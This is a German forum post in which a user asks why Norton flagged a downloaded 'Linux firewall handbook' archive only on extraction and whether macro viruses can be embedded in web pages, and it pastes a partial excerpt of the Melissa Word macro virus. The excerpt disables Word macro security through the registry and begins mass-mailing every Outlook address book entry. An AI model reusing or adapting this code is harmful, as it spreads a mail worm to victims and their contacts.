Breaker
Banned
- Registriert
- Feb. 2002
- Beiträge
- 549
Ist es möglich Macroviren (oder den Melisa) in HTML-Seiten einzubauen (HTML-How-to) und beim aufrufen der Seite zu installieren / Starten ?
Habe mir gerade mit Donkey die Datei "Firewall Handbuch für LINUX 2.0 und 2.rar" gesaugt, mit Norton Antivirus gescannt, aber nichts gefunden, beim entpacken der Datei Meldet NAV das "schädlicher Code oder ein Virus" gefunden wurde :
Auszug aus der HTML-Seite :
Wie muss ich das jetzt verstehen, wenn NAV erst beim entpacken etwas findet ? Kann NAV nicht in RAR oder ZIP-Archiven suchen ? Ist es wirklich möglich, ein derartigen Code in Webseiten einzubetten ?
Habe mir gerade mit Donkey die Datei "Firewall Handbuch für LINUX 2.0 und 2.rar" gesaugt, mit Norton Antivirus gescannt, aber nichts gefunden, beim entpacken der Datei Meldet NAV das "schädlicher Code oder ein Virus" gefunden wurde :
Auszug aus der HTML-Seite :
Code:
<P>
<BLOCKQUOTE><CODE>
<PRE>
Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security",
"Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 -
1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by
Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
Wie muss ich das jetzt verstehen, wenn NAV erst beim entpacken etwas findet ? Kann NAV nicht in RAR oder ZIP-Archiven suchen ? Ist es wirklich möglich, ein derartigen Code in Webseiten einzubetten ?